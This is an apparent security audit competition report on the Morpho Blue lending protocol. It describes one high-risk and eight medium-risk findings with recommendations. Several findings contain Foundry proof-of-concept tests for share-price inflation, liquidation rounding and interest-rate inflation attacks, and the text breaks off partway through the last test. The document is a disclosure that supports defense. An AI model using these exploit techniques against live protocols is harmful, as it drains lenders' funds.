CANTINA

Morpho Blue

Competition

February 16, 2024

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

The Morpho Porotocol is a decentralized, noncustodial lending protocol implemented for the Ethereum Virtual Machine. The protocol had two main steps in its evolution with two independent versions: Morpho Optimizers and Morpho Blue.

From Nov 16th to Dec 7th Cantina hosted a competition based on morpho-blue.The participants identified a total of **359** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 1
- Medium Risk: 8
- Low Risk: 151
- Gas Optimizations: 36
- Informational: 163

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 Insufficient non existent token check can be weaponised

Submitted by kankodu, also found by rvierdiiev, 3doc, neumo, MiloTruck, sashik-eth, sorryNotsorry, darkbit and pep7siup

Severity: High Risk

Context: SafeTransferLib.sol

In SafeTransferLib.sol it doesn't check if token address provided has code or not. This means calling SafeTransferFrom with a token address that does not have any code does not revert.

There are multiple ways of knowing the address where a token will be deployed before it is actually deployed. The easiest way is to frontrun the token deployment transaction. Some Tokens use `CREATE2` to deploy the token which makes it possible as well.

- An attacker can frontrun a token deployment transaction with the following:
  - CreateMarket with a legitimate oracle, IRM and `collateralToken`. Creating a legitimate oracle is not harder before token deployment as the oracle providers usually take token addresses as an input, and it is ok if it doesn't return the correct price before the `loanToken` is added in that oracle provider.
  - Supply infinite tokens which will succeed and update the internal balance of the attacker because of insufficient non existent token check.
- Now, the token gets actually deployed and victims deposit actual `loanTokens`. An Attacker can withdraw these tokens since according to internal accounting they have supplied infinite tokens.
- An attacker can do the same for `collateralToken` if they want to, as supplyCollateral susceptible to the same attack.

3.2 Medium Risk

3.2.1 Deviation in oracle price could lead to arbitrage in high lltv markets

Submitted by MiloTruck

Severity: Medium Risk

Context: Morpho.sol#L521-L522, ChainlinkOracle.sol#L116-L121

Description: In Morpho Blue, the maximum amount a user can borrow is calculated with the conversion rate between `loanToken` and `collateralToken` returned by an oracle:

```
uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
    .wMulDown(marketParams.lltv);
```

`collateralPrice` is fetched by calling the oracle's `price()` function. For example, the `price()` function in `ChainlinkOracle.sol` is as such:

```
function price() external view returns (uint256) {
    return SCALE_FACTOR.mulDiv(
        VAULT.getAssets(VAULT_CONVERSION_SAMPLE) * BASE_FEED_1.getPrice() * BASE_FEED_2.getPrice(),
        QUOTE_FEED_1.getPrice() * QUOTE_FEED_2.getPrice()
    );
}
```

However, all price oracles are susceptible to front-running as their prices tend to lag behind an asset's real-time price. More specifically:

- Chainlink oracles are updated after the change in price crosses a deviation threshold, (eg. 2.5% in ETH / USD), which means a price feed could return a value slightly smaller/larger than an asset's actual price under normal conditions.

- Uniwap V3 TWAP returns the average price over the past X number of blocks, which means it will always lag behind the real-time price.

An attacker could exploit the difference between the price reported by an oracle and the asset's actual price to gain a profit by front-running the oracle's price update.

For Morpho Blue, this becomes profitable when the price deviation is sufficiently large for an attacker to open positions that become bad debt. Mathematically, arbitrage is possible when:

$$price\ deviation \frac{1}{LIF} - LLTV$$

The likelihood of this condition becoming true is significantly increased when `ChainlinkOracle.sol` is used as the market's oracle with multiple Chainlink price feeds.

As seen from above, the conversion rate between `loanToken` and `collateralToken` is calculated with multiple price feeds, with each of them having their own deviation threshold. This amplifies the maximum possible price deviation returned by `price()`.

For example:

- Assume a market has WBTC as `collateralToken` and FTM as `loanToken`.
- Assume the following prices:
  - 1 BTC = 40,000 USD
  - 1 FTM = 1 USD
  - 1 ETH = 2000 USD
- `ChainlinkOracle` will be set up as such:
  - `BASE_FEED_1` - WBTC / BTC, 2% deviation threshold.
  - `BASE_FEED_2` - BTC / USD, 0.5% deviation threshold.
  - `QUOTE_FEED_1` - FTM / ETH, 3% deviation threshold.
  - `QUOTE_FEED_2` - ETH / USD, 0.5% deviation threshold.
- Assume that all price feeds are at their deviation threshold:
  - WBTC / BTC returns 98% of `1`, which is `0.98`.
  - BTC / USD returns 99.5% of `40000`, which is `39800`.
  - FTM / ETH returns 103% of `1 / 2000`, which is `0.000515`.
  - ETH / USD returns 100.5% of `2000`, which is `2010`.
- The actual conversion rate of WBTC to FTM is:
  - `(0.98 * 39800) / (0.000515 * 2010) = 37680`
  - i.e. 1 WBTC = 37,680 FTM.
- Compared to 1 WBTC = 40,000 FTM, the maximum price deviation is 5.8%.

To demonstrate how a such a deviation in price could lead to arbitrage:

- Assume the following:
  - A market has 95% LLTV, with WBTC as collateral and FTM as `loanToken`.
  - 1 WBTC is currently worth 40,000 FTM.
- The price of WBTC drops while FTM increases in value, such that 1 WBTC = 37,680 FTM.
- All four Chainlink price feeds happen to be at their respective deviation thresholds as described above, which means the oracle's price is not updated in real time.
- An attacker sees the price discrepancy and front-runs the oracle price update to do the following:
  - Deposit 1 WBTC as collateral.

  - Borrow 38,000 FTM, which is the maximum he can borrow at 95% LLTV and 1 WBTC = 40,000 FTM conversion rate.
- Afterwards, the oracle's conversion rate is updated to 1 WBTC = 37,680 FTM:
  - Attacker's position is now unhealthy as his collateral is worth less than his loaned amount.
- Attacker back-runs the oracle price update to liquidate himself:
  - At 95% LLTV, LIF = 100.152%.
  - To seize 1 WBTC, he repays 37,115 FTM:
    * `seizedAssets / LIF = 1 WBTC / 1.0152 = 37680 FTM / 1.0152 = 37115 FTM`
- He has gained 885 FTM worth of profit using 37,680 FTM, which is a 2.3% arbitrage opportunity.

This example proves the original condition stated above for arbitrage to occur, as:

$$price\ deviation - \left(\frac{1}{LIF} - LLTV\right) = 5.8\% - \left(\frac{1}{100.152\%} - 95\%\right) = \sim 2.3\%$$

Note that all profit gained from arbitrage causes a loss of funds for lenders as the remaining bad debt is socialized by them.

Recommendation: Consider implementing a borrowing fee to mitigate against arbitrage opportunities. Ideally, this fee would be larger than the oracle's maximum price deviation so that it is not possible to profit from arbitrage.

Further possible mitigations have also been explored by other protocols:

- Angle Protocol: Oracles and Front-Running
- Liquity: The oracle conundrum

3.2.2 Suppliers can be tricked into supplying more

Submitted by Christoph Michel

Severity: Medium Risk

Context: Morpho.sol#L214

Description: The `supply` and `withdraw` functions can increase the supply share price (`totalSupplyAssets / totalSupplyShares`). If a depositor uses the `shares` parameter in `supply` to specify how many assets they want to supply they can be tricked into supplying more assets than they wanted. It's easy to inflate the supply share price by 100x through a combination of a single supply of 100 assets and then withdrawing all shares without receiving any assets in return. The reason is that in `withdraw` we compute the `assets` to be received as `assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);`. Note that `assets` can be zero and the `withdraw` essentially becomes a pure `burn` function.

Example:

- A new market is created.
- The victim tries to supply 1 assets at the initial share price of 1e-6 and specifies `supply(shares=1e6)`. They have already given max approval to the contract because they already supplied the same asset to another market.
- The attacker wants to borrow a lot of the loan token and therefore targets the victim. They frontrun the victim by `supply(assets=100)` and a sequence of `withdraw()` functions such that `totalSupplyShares = 0` and `totalSupplyAssets = 100`. The new supply share price increased 100x.
- The victim's transaction is minted and they use the new supply share price and mint 100x more tokens than intended (possible because of the max approval).
- The attacker borrows all the assets.
- The victim is temporarily locked out of that asset. They cannot withdraw again because of the liquidity crunch (it is borrowed by the attacker).

Recommendation: Suppliers should use the `assets` parameter instead of `shares` whenever possible. In the other cases where `shares` must be used, they need to make sure to only approve the max amount they want to spend. Alternatively, consider adding a slippage parameter `maxAssets` that is the max amount of assets that can be supplied and transferred from the user. This attack of inflating the supply share price is especially possible when there are only few shares minted, i.e., at market creation or when an attacker / contracts holds the majority of shares that can be redeemed.

Proof of concept:

```
function testSupplyInflationAttack() public {
  vm.startPrank(SUPPLIER);
  loanToken.setBalance(SUPPLIER, 1 * 1e18);

  // 100x the price. in the end we end up with 0 supply and totalAssets = assets supplied here
  morpho.supply(marketParams, 99, 0, SUPPLIER, "");

  uint256 withdrawals = 0;
  for (;; withdrawals++) {
      (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
      uint256 shares = (totalSupplyShares + 1e6).mulDivUp(1, totalSupplyAssets + 1) - 1;
      // burn all of our shares, then break
      if (shares > totalSupplyShares) {
          shares = totalSupplyShares;
      }
      if (shares == 0) {
          break;
      }
      morpho.withdraw(marketParams, 0, shares, SUPPLIER, SUPPLIER);
  }
  (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
  console2.log("withdrawals", withdrawals);
  console2.log("totalSupplyAssets", totalSupplyAssets);
  console2.log("final share price %sx", (totalSupplyAssets + 1) * 1e6 / (totalSupplyShares + 1e6));

  // without inflation this should mint at initial share price of 1e6, i.e., 1 asset
  (uint256 returnAssets,) = morpho.supply(marketParams, 0, 1 * 1e6, SUPPLIER, "");
  console2.log("pulled in assets ", returnAssets);
}
```

Log:

```
withdrawals 459
totalSupplyAssets 99
final share price 100x
pulled in assets  100
```

3.2.3 Virtual supply shares steal interest

Submitted by Christoph Michel

Severity: Medium Risk

Context: Morpho.sol#L479

Description: The virtual supply shares, that are not owned by anyone, earn interest in `_accrueInterest`. This interest is stolen from the actual suppliers which leads to loss of interest funds for users. Note that while the initial share price of 1e-6 might make it seem like the virtual shares can be ignored, one can increase the supply share price and the virtual shares will have a bigger claim on the total asset percentage.

Recommendation: The virtual shares should not earn interest as they don't correspond to any supplier.

Appendix: Increasing supply share price:

```
function testSupplyInflationAttack() public {
    vm.startPrank(SUPPLIER);
    loanToken.setBalance(SUPPLIER, 1 * 1e18);

    // 100x the price. in the end we end up with 0 supply and totalAssets = assets supplied here
    morpho.supply(marketParams, 99, 0, SUPPLIER, "");

    uint256 withdrawals = 0;
    for (;; withdrawals++) {
        (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
        // console2.log("totalSupplyShares", totalSupplyShares);
        uint256 shares = (totalSupplyShares + 1e6).mulDivUp(1, totalSupplyAssets + 1) - 1;
        // console2.log("shares", shares);
        // burn all of our shares, then break
        if (shares > totalSupplyShares) {
            shares = totalSupplyShares;
        }
        if (shares == 0) {
            break;
        }
        morpho.withdraw(marketParams, 0, shares, SUPPLIER, SUPPLIER);
    }
    (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
    console2.log("withdrawals", withdrawals);
    console2.log("totalSupplyAssets", totalSupplyAssets);
    console2.log("final share price %sx", (totalSupplyAssets + 1) * 1e6 / (totalSupplyShares + 1e6));

    // without inflation this should mint at initial share price of 1e6, i.e., 100 asset
    (uint256 returnAssets,) = morpho.supply(marketParams, 0, 1 * 1e6, SUPPLIER, "");
    console2.log("pulled in assets ", returnAssets);
}
```

3.2.4 Virtual borrow shares accrue interest and lead to bad debt

Submitted by Christoph Michel, also found by xuwinnie

Severity: Medium Risk

Context: Morpho.sol#L478

Description: The virtual borrow shares, that are not owned by anyone, earn interest in `_accrueInterest`. This interest keeps compounding and cannot be repaid as the virtual borrow shares are not owned by anyone. As the withdrawable funds are computed as `supplyAssets - borrowAssets`, the borrow shares' assets equivalent leads to a reduction in withdrawable funds, basically bad debt. Note that while the initial borrow shares only account for 1 asset, this can be increased by increasing the share price. The share price can be **inflated arbitrarily high**, see appendix.

Recommendation: There is no virtual collateral equivalent and therefore the virtual borrow assets are bad debt that cannot even be repaid and socialized. The virtual borrow shares should not earn interest.

Appendix: Increasing the borrow share price:

```
function testBorrowInflationAttack() public {
    uint256 amountCollateral = 1e6 ether;
    _supply(amountCollateral);
    oracle.setPrice(1 ether);
    collateralToken.setBalance(BORROWER, amountCollateral);

    vm.startPrank(BORROWER);
    morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
    morpho.borrow(marketParams, 1e4, 0, BORROWER, RECEIVER);

    for (uint256 i = 0; i < 100; i++) {
        // assets = shares * (totalBorrowAssets + 1) / (totalBorrowShares + 1e6) < 1 <=> shares <
↪  (totalBorrowShares
        // + 1e6) / (totalBorrowAssets + 1).
        (,, uint256 totalBorrowAssets, uint256 totalBorrowShares) = morpho.expectedMarketBalances(marketParams
);
        console2.log("totalBorrowShares", totalBorrowShares);
        uint256 shares = (totalBorrowShares + 1e6).mulDivUp(1, totalBorrowAssets + 1) - 1;
        console2.log("shares", shares);
        (uint256 returnAssets, uint256 returnShares) = morpho.borrow(marketParams, 0, shares, BORROWER,
↪  RECEIVER);
        uint256 borrowBalance = morpho.expectedBorrowAssets(marketParams, BORROWER);
        // console2.log("borrowBalance", borrowBalance);
    }

    (,, uint256 totalBorrowAssets, uint256 totalBorrowShares) = morpho.expectedMarketBalances(marketParams);
    console2.log("final totalBorrowShares", totalBorrowShares);
    vm.expectRevert("max uint128 exceeded");
    morpho.borrow(marketParams, 1 ether, 0, BORROWER, RECEIVER);
}
```

3.2.5 Liquidation `seizeassets` computation rounding issue

Submitted by Christoph Michel, also found by solthodox, trachev and john-femi

Severity: Medium Risk

Context: Morpho.sol#L375-L376

Description: Currently, liquidations can end up with the borrower having a *less healthy* position than before the liquidation (even without liquidation incentive and favorable LLTV). Note that the borrower position is measured in *shares* (not assets) via `position[id][borrower].borrowShares`. The `repaidAssets` are **rounded up** from the borrow shares position to be burned and the rounded-up assets are used to compute the collateral assets to be seized `seizedAssets`, leading to a situation of reducing the borrower's collateral by much more than their debt position was actually reduced by.

```
repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
// uses rounded-up repaidAssets
seizedAssets =
    repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
```

Example: LLTV of 75%. Borrow share price (`totalBorrowAssets / totalBorrowShares`) of `1.01e-6=0.00000101` (1% interest on initial virtual shares start price of `0.000001`). Price of 1 borrow asset = 1$.

- `borrower`: Collateral worth 4$. `3e6` borrow shares, worth `3.03` assets. Health factor is `4$ * LLTV / (3e6 * 1.01e-6 * 1$) = 0.99`
- A liquidator that pays back `repaidShares=1` receives seized assets according to `repaidAssets = repaidShares.toAssetsUp(sharePrice) = 1` (1$), more than the actual value of `0.00000101$` corresponding to the 1 borrow shares position reduction.
- The borrower's collateral is reduced to 3$ while only 1 borrow share was burned from their position. Their new health factor drops to `3$ * LLTV / ((3e6-1) * 1.01e-6 * 1$) = 0.7425` making the borrower less healthy.
- Another three rounds of liquidations of `repaidShares=1` will lead to a health factor of `0$ * LLTV / ((3e6-4) * 1.01e-6 * 1$) = 0`. The borrower's collateral was fully seized and the protocol incurs bad debt of almost the entire initial debt shares worth `(3e6-4) * 1.01e-6 * 1$ = 3.03$`

The impact is that an unhealthy borrower's position can be fully liquidated by splitting up liquidations into tiny liquidations (each repaying only 1 share but seizing the full rounded-up repay amount of collateral) while not reducing their actual asset debt position. The protocol will incur almost the entire initial borrow debt assets as bad debt.

Recommendation: The code should look at two different kinds of `repaidAssets`: One that gets reduced from the total assets and that the liquidator has to pay which should be rounded up (matches the current `repaidAssets`, aka the "repay" part of the liquidation). The second one is used to compute the value for the seized assets which should be rounded down. The liquidator has an incentive to do this because they earn the liquidation incentive on the entire repaid amount (and the repaid amount is such that they can seize the entire collateral).

```
repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
// don't use repaidAssets here, should round down
seizedAssets = repaidShares.toAssetsDown(market[id].totalBorrowAssets,
↪  market[id].totalBorrowShares).wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE,
↪  collateralPrice);
```

Proof of concept:

```
function testFullLiquidationAttack() public {
    LiquidateTestParams memory params = LiquidateTestParams({
        amountCollateral: 400,
        amountSupplied: 100e18,
        //  maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice,
↪  ORACLE_PRICE_SCALE).wMulDown(marketParams.lltv);
        amountBorrowed: 300,
        priceCollateral: 1e36,
        lltv: 0.75e18
    });
    _setLltv(params.lltv);

    _supply(params.amountSupplied);
    oracle.setPrice(params.priceCollateral);

    // create some borrows as they would happen in a normal market, to initialize borrow share price to some
↪  real value
    loanToken.setBalance(REPAYER, type(uint128).max); // * 2 for interest
    collateralToken.setBalance(REPAYER, 1000e18);
    vm.startPrank(REPAYER);
    morpho.supplyCollateral(marketParams, 1000e18, REPAYER, hex"");
    morpho.borrow(marketParams, params.amountSupplied - params.amountBorrowed, 0, REPAYER, REPAYER);
    vm.stopPrank();

    // create BORROWER's debt position
    loanToken.setBalance(LIQUIDATOR, params.amountBorrowed * 2); // * 2 for interest
    collateralToken.setBalance(BORROWER, params.amountCollateral);

    vm.startPrank(BORROWER);
    morpho.supplyCollateral(marketParams, params.amountCollateral, BORROWER, hex"");
    morpho.borrow(marketParams, params.amountBorrowed, 0, BORROWER, BORROWER);
    vm.stopPrank();

    // move oracle by a tiny bit for BORROWER to become unhealthy
    oracle.setPrice(params.priceCollateral - 0.01e18);

    // multi liquidate
    vm.startPrank(LIQUIDATOR);
    uint256 seizedAssets = 0;
    uint256 repaidAssets = 0;
    do {
        uint256 sharesToRepay = 1;
        (uint256 newSeizedAssets, uint256 newRepaidAssets) = morpho.liquidate(marketParams, BORROWER, 0,
↪  sharesToRepay, hex"");
        seizedAssets += newSeizedAssets;
        repaidAssets += newRepaidAssets;
        // console2.log("newSeizedAssets", newSeizedAssets);
        // console2.log("newRepaidAssets", newRepaidAssets);
        // console2.log("collateral remaining", morpho.collateral(marketParams.id(), BORROWER));
    } while(morpho.collateral(marketParams.id(), BORROWER) > 1);

    // Results
    console2.log("======== Results ========");
    uint256 remainingDebt = morpho.expectedBorrowAssets(marketParams, BORROWER);
```

```
    console2.log("remaining borrow shares", morpho.borrowShares(marketParams.id(), BORROWER));
    console2.log("remainingDebt", remainingDebt);
}
```

3.2.6 Liquidation `repaidshares` computation rounding issue

Submitted by Christoph Michel

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: Currently, liquidations can end up with the borrower having a *less healthy* position than before the liquidation (even without liquidation incentive and favorable LLTV). Note that the borrower position is measured in *shares* (not assets) via `position[id][borrower].borrowShares`. The `repaidShares` are **rounded down** from the seized-assets-converted repaid assets value. For illustration, `repaidShares` could even be `0` if the share price (`totalBorrowAssets / totalBorrowShares`) is above `1.0`. (This can happen as the IRM allows borrow rates up to a billion % APR per year and the initial start price is just `1e-6 = 0.000001` or through other ways, see existing issue about inflating borrow share price mentioned in Cantina audit.) The borrower's borrow debt position would not be repaid as `repaidShares = 0` but the liquidator still seizes `seizedAssets` of the borrower's collateral. The borrower's health factor only gets worse.

The impact is that an unhealthy borrower's position can be fully liquidated by splitting up liquidations into tiny liquidations (each repaying zero shares but seizing the full rounded-up repay amount of collateral) while not reducing their actual asset debt position. The protocol will incur the entire initial borrow debt assets as bad debt.

Recommendation: While the computed `repaidAssets` and `repaidShares` are correct for the repay part of the liquidation, the code also needs to ensure that the value of the `seizedAssets` is not greater than the value of the final `repaidShares`. In the case where the liquidator provides a fixed `seizedAssets` parameter amount it's not straightforward, a potential solution could be to readjust `repaidAssets`.

```
if (seizedAssets > 0) {
  repaidAssets = seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
  // round up to ensure seizedAssets < repaidShares value
  repaidShares = repaidAssets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);

  // imitate a repay of repaidShares
  repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
}
```

3.2.7 Any oracle update with sufficiently big price decline can be sandwiched to extract value from the protocol

Submitted by hyh, also found by Said

Severity: Medium Risk

Context: Morpho.sol#L364-L377

Description: Whenever oracle update provides substantial enough price decline the fixed nature of liquidation incentive along with with the fixed LLTV for the market provides for the ability to artificially create bad debt and immediately liquidate it, stealing from protocol depositors.

- Morpho.sol#L344-L378

```
function liquidate(
    // ...
) external returns (uint256, uint256) {
    // ...
    // see the line below
    uint256 collateralPrice = IOracle(marketParams.oracle).price();
    // see the line below
    require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);

    uint256 repaidAssets;
    {
        // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
        uint256 liquidationIncentiveFactor = UtilsLib.min(
            MAX_LIQUIDATION_INCENTIVE_FACTOR,
            // see the line below
            WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
        );

        if (seizedAssets > 0) {
            repaidAssets =
                seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
            // ...
        } else {
            // ...
            seizedAssets =
                repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE,
↪   collateralPrice);
        }
    }
    // ...
```

Morpho.sol#L387-L398

```
if (position[id][borrower].collateral == 0) {
    // ...
    position[id][borrower].borrowShares = 0;
}
```

For highly volatile collateral it's possible to sandwich Oracle update transaction (`tx2`), creating min collateralized loan before (`tx1`) and liquidating it right after, withdrawing all the collateral (`tx3`). As liquidation pays the fixed incentive and socialize the resulting bad debt, if any, all the cases when bad debt can be created on exactly one Oracle update (i.e everywhere when it's sufficiently volatile wITH respect to LLTV), this can be gamed, as the attacker will pocket the difference between debt and collateral valuation, which they receive in full via liquidate-withdraw collateral sequence in `tx3`.

Notice that initial LLTV setting might be fine for the collateral volatility at that moment, but as particular collateral/asset pair might become substantially more volatile (due to any developments in collateral, asset or changes of the overall market state), while there is no way to prohibit using LLTV once enabled.

Proof of Concept:

- Morpho instance for stablecoins was launched with USDC collateral and USDT asset allowed, and with LLTV set included competitive reading of `95%`, over time it gained TVL, USDC and USDT is now traded 1:1. Liquidation incentive factor for the market is `liquidationIncentiveFactor = 1.0 / (1 - 0.3 * (1 - 0.95)) = 1.01522`.
- There was a shift in USDC reserves valuation approach, and updated reserves figures are priced in sharply via new Oracle reading of `0.9136 USDT per USDC`.
- Bob the attacker front runs the Oracle update transaction (tx2) with the borrowing of `USDT 0.95m` having provided `USDC 1m` (tx1, and for simplicity we ignore dust adjustments in the numbers where they might be needed as they don't affect the overall picture).
- Bob back-runs tx2 with liquidation of the own loan (tx3), repaying `USDT 0.9m` of the `USDT 0.95m` debt. Since the price was updated, with `repaidAssets = USDT 0.9m` he will have `seizedAssets = USDC 0.9m * 1.01522 / 0.9136 = USDC 1m`.
- Bob regained all the collateral and pocketed `USDT 0.05m`, which was written off the deposits as bad debt.

So, an Attacker can steal principal funds from the protocol by artificially creating bad debt. This is a permanent loss for market lenders, its severity can be estimated as high.

The probability of this can be estimated as medium as collateral volatility is not fixed in any way and sharp downside movements will happen from time to time in a substantial share of all the markets. The prerequisite is that initially chosen LLTV does not fully guarantee the absence of bad debt after one Oracle update. This effectively means that LLTV has to be updated to a lower value, but it is fixed within the market and such changes are usually subtle enough (as compared to more substantially scrutinized initial settings), so, once that happens, there is substantial probability that there will be a window of opportunity for attackers, the period when LLTV of a big enough market being outdated and too high, but there was no communication about that and the marker being actively used.

Recommendation: Consider introducing a liquidation penalty for the borrower going to fees. The goal here is not to increase the fees, it's recommended that interest based fee should be simultaneously lowered, but to disincentivize the careless borrowers and to make self-liquidation a negative sum game.

Also, consider monitoring for the changes in collateral volatilities and flagging the markets whose initially chosen LLTV became not conservative enough, so lenders be aware of the risk evolution.

3.2.8 Users can take advantage of low liquidity markets to inflate the interest rate

Submitted by MiloTruck

Severity: Medium Risk

Context: Morpho.sol#L471-L476, AdaptiveCurveIrm.sol#L117-L120, Morpho.sol#L477, Morpho.sol#L180-L181, SharesMathLib.sol#L15-L21

Description: Morpho Blue is meant to work with stateful Interest Rate Models (IRM) - whenever `_accrueInterest()` is called, it calls `borrowRate()` of the IRM contract:

```
function _accrueInterest(MarketParams memory marketParams, Id id) internal {
    uint256 elapsed = block.timestamp - market[id].lastUpdate;

    if (elapsed == 0) return;

    uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
```

This will adjust the market's interest rate based on the current state of the market. For example, `AdaptiveCurveIrm.sol` adjusts the interest rate based on the market's current utilization rate:

```
function _borrowRate(Id id, Market memory market) private view returns (uint256, int256) {
    // Safe "unchecked" cast because the utilization is smaller than 1 (scaled by WAD).
    int256 utilization =
        int256(market.totalSupplyAssets > 0 ? market.totalBorrowAssets.wDivDown(market.totalSupplyAssets) : 0);
```

However, this stateful implementation will always call `borrowRate()` and adjust the interest rate, even when it should not.

For instance, in `AdaptiveCurveIrm.sol`, an attacker can manipulate the market's utilization rate as such:

- Create market with a legitimate `loanToken`, `collateralToken`, `oracle` and the IRM as `AdaptiveCurveIrm.sol`.
- Call `supply()` to supply 1 wei of `loanToken` to the market.
- Call `supplyCollateral()` to give himself some collateral.
- Call `borrow()` to borrow the 1 wei of `loanToken`.
- Now, the market's utilization rate is 100%.
- Afterwards, if no one supplies any `loanToken` to the market for a long period of time, `AdaptiveCurveIrm.sol` will aggressively increase the market's interest rate.

This is problematic as Morpho Blue's interest compounds based on e^x:

```
uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
```

As such, when `borrowRate` (the interest rate) increases, `interest` will grow at an exponential rate, which could cause the market's `totalSupplyAssets` and `totalBorrowAssets` to become extremely huge.

This creates a few issues:

1. The market will have a huge amount of un-clearable bad debt:

Should a large amount of interest accrue, `totalBorrowAssets` will be extremely large, even though `totalBorrowShares` is only `1e6` shares. Half of `totalBorrowAssets` would have actually accrued to the other `1e6` virtual shares.

As such, after liquidating the attacker's `1e6` shares, half of `totalBorrowAssets` will still remain in the market as un-clearable bad debt.

2. The market will permanently have a high interest rate:

As mentioned above, `AdaptiveCurveIrm.sol` aggressively increased the market's interest rate while there was only 1 wei supplied and borrowed in the market, causing utilization to be 100%.

If other lenders decide to supply `loanToken` to the market, borrowers would still be discouraged from borrowing for an extended period of time as `AdaptiveCurveIrm.sol` would have to adjust the market's interest rate back down.

3. Users who call `supply()` with a small amount of assets might lose funds:

If `totalSupplyAssets` is sufficiently large compared to `totalSupplyShares`, the market's shares to assets ratio will be huge. This will cause the following the share calculation in `supply()` to round down to 0:

```
if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
```

Should this occur, the user will receive 0 shares when depositing assets, resulting in a loss of funds.

The following proof of concept demonstrates how the market's interest rate can be inflated, as described above. Note that this PoC has to be placed in the `morpho-blue-irm` repository.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "lib/forge-std/src/Test.sol";
import "src/AdaptiveCurveIrm.sol";
import {BaseTest} from "lib/morpho-blue/test/forge/BaseTest.sol";

contract CreamyInflationAttack is BaseTest {
    using MarketParamsLib for MarketParams;

    int256 constant CURVE_STEEPNESS = 4 ether;
    int256 constant ADJUSTMENT_SPEED = int256(20 ether) / 365 days;
    int256 constant TARGET_UTILIZATION = 0.9 ether; // 90%
    int256 constant INITIAL_RATE_AT_TARGET = int256(0.1 ether) / 365 days; // 10% APR

    function setUp() public override {
        super.setUp();

        // Deploy and enable AdaptiveCurveIrm
        AdaptiveCurveIrm irm = new AdaptiveCurveIrm(
            address(morpho), CURVE_STEEPNESS ,ADJUSTMENT_SPEED,TARGET_UTILIZATION, INITIAL_RATE_AT_TARGET
        );
        vm.prank(OWNER);
        morpho.enableIrm(address(irm));

        // Deploy market with AdaptiveCurveIrm
        marketParams = MarketParams({
            loanToken: address(loanToken), // Pretend this is USDC
            collateralToken: address(collateralToken), // Pretend this is USDT
            oracle: address(oracle),
            irm: address(irm),
            lltv: DEFAULT_TEST_LLTV
        });
        id = marketParams.id();
        morpho.createMarket(marketParams);
    }

    function testInflateInterestRateWhenLowLiquidity() public {
        // Supply and borrow 1 wei
```

```
        _supply(1);
        collateralToken.setBalance(address(this), 2);
        morpho.supplyCollateral(marketParams, 2, address(this), "");
        morpho.borrow(marketParams, 1, 0, address(this), address(this));

        // Accrue interest for 150 days
        for (uint i = 0; i < 150; i++) {
            skip(1 days);
            morpho.accrueInterest(marketParams);
        }

        // Liquidating only divides assets by 2, the other half accrues to virtual shares
        loanToken.setBalance(address(this), 2);
        morpho.liquidate(marketParams, address(this), 2, 0, "");

        // Shares to assets ratio is now insanely high
        console2.log("supplyAssets: %d, supplyShares: %d", morpho.market(id).totalSupplyAssets,
